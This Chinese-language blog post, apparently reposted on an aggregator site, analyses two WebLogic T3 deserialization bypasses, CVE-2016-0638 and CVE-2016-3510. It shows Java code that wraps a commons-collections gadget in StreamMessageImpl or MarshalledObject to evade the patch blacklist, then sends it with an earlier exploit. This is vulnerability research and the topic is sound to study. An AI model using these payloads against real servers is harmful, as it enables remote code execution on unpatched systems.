WebLogic基于T3协议的反序列化 CVE-2016-0638CVE-2016-3510

WebLogic基于T3协议的反序列化 CVE-2016-0638CVE-2016-3510,第1张

WebLogic基于T3协议的反序列化 CVE-2016-0638/CVE-2016-3510 WebLogic基于T3协议的反序列化 CVE-2016-0638/CVE-2016-3510

CVE-2016-0638 是前面分析的 CVE-2015-4852 的一个绕过,通过找到一个不在黑名单中的类,且这个类存在readObject/readResolve/readExternal 方法,并且恰好这些方法里面有一些数据进行反序列化 *** 作,那么这时我们就可以把原生的序列化数据封装到这个类里面,通过调用反序列化对象重写的readObject/readResolve/readExternal 方法这一特点来反序列化封装在类里面的原生序列化数据。

修复环境搭建

因为这里的 CVE-2016-0638 是 CVE-2015-4852 的一个绕过,所以这里需要在前面那个 docker 环境中打上补丁,以此来分析 WebLogic 的补丁到底打到了那里。

环境搭建参考这篇文章:https://www.cnblogs.com/nice0e3/p/14207435.html

如果按照上面文章搭建报如下错误

则需要把EJUM.jar/patch-catalog_22958.xml这两个文件从p20780171_1036_Generic目录拷贝到/u01/app/oracle/middleware/utils/bsu/cache_dir/目录下

补丁下载参考:https://www.cnblogs.com/hmhhz/p/11422019.html

CVE-2015-4852的防御

先来看下 WebLogic 对 CVE-2015-4852 反序列化漏洞的防御,在安装好补丁之后用前面的脚本打目标服务器,发现无法成功创建文件,把断点下在 ServerChannelInputStream#resolveClass 方法上,可以看到这里多了一个黑名单检查

咋们跟进一下 ClassFilter#isBlackListed 方法,ClassFilter 这个类有静态代码块,那么先来看下静态代码块

这里应该是判断有无设置一些参数为 true

根据判断设置的参数情况来添加相应的类到黑名单里面,最终我这里的黑名单类为如下

然后 isBlackListed 方法判断传入的类名是否存在于类黑名单中,如果存在则直接返回 true 了,如果不存在则截取包名,再判断包名是否存在类黑名单中,在这里的过滤的类黑名单中没有sun.reflect.annotation.AnnotationInvocationHandler 类在里面

虽然 AnnotationInvocationHandler 类不在类黑名单里面,但是一些Gadget所用到的类在黑名单里面,而在AnnotationInvocationHandler 类直接通过 InboundMsgAbbrev#readObject 进行反序列化的过程中会再次调用到 ServerChannelInputStream#resolveClass 方法来处理比如 org.apache.commons.collections.map.LazyMap 类,而这个类会被黑名单检测到 ,这样一来自然就被拦截了

除了这里有检测之外,MsgAbbrevInputStream#resolveClass 方法也存在检测,不过检测的手段都是一样的,就不再赘述。

绕过思路

这篇的开头也说了其中的一种绕过思路了,就是找一个存在 readObject/readResolve/readExternal 方法的类,且这个类的这些方法里面又调用了 ObjectInputStream#readObject 方法来反序列化一些数据,我们只需要把真正的 payload 封装在类里面,这样就绕过了黑名单的检测。

CVE-2016-0638

这里的绕过用到的是 StreamMessageImpl 类,这个类存在 readExternal 方法,且这个方法调用了 ObjectInputStream#readObject方法来反序列化从输入流中读取出来的数据。

要让 var3 为1, var4 为恶意序列化数据,这里通过重写 StreamMessageImpl#writeExternal 方法,在构造 payload 的项目创建 weblogic.jms.common 包,并增加两个属性和三个方法

private byte[] buffer;
private int length;

public final byte[] getDataBuffer() {
    return this.bdos != null ? this.bdos.getBuffer() : this.buffer;
}

public final int getDataSize() {
    return this.bdos != null ? this.bdos.size() : this.length;
}

public final void setDataBuffer(byte[] var1, int var2) {
    this.buffer = var1;
    this.length = var2;
}

重写 writeExternal 方法,手工写入值为1的 byte 数据和恶意的序列化数据,这样在调用到 StreamMessageImpl#readExternal 方法的时候就可以调用到 readObject 方法,并且 var4 为恶意的序列化数据。

public void writeExternal(ObjectOutput paramObjectOutput) throws IOException {
    super.writeExternal(paramObjectOutput);
    paramObjectOutput.writeByte(1);
    paramObjectOutput.writeInt(getDataSize());
    paramObjectOutput.write(getDataBuffer());
}

构造 payload

public static Object getObject() throws Exception{
    InvocationHandler invocationHandler = (InvocationHandler) Collections01LazyMap.getObject();
    byte[] bytes = SerWithUnSer.serialize(invocationHandler,false);
    StreamMessageImpl streamMessage = new StreamMessageImpl();
    streamMessage.setDataBuffer(bytes,bytes.length);
    return streamMessage;
}

对一些序列化的过程进行了封装,不过原理都是一样的。

CVE-2016-3510

CVE-2016-3510 用到的是 MarshalledObject#readResolve方法,看一下这个方法的逻辑。

objBytes 属性是一个对象,对这个属性对象使用 readObject 方法,那么也就很明显了,把恶意对象封装到 MarshalledObject 类的 objBytes 属性中即可

public static Object getObject() throws Exception{
    InvocationHandler invocationHandler = (InvocationHandler) Collections01LazyMap.getObject();
    MarshalledObject marshalledObject = new MarshalledObject(invocationHandler);
    return marshalledObject;
}

生成序列化文件之后用前面的 cve-2015-4852 打就行

参考文章

https://www.cnblogs.com/nice0e3/p/14207435.html
https://github.com/5up3rc/weblogic_cmd

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/5719717.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-18
下一篇 2022-12-18

发表评论

登录后才能评论

评论列表(0条)

保存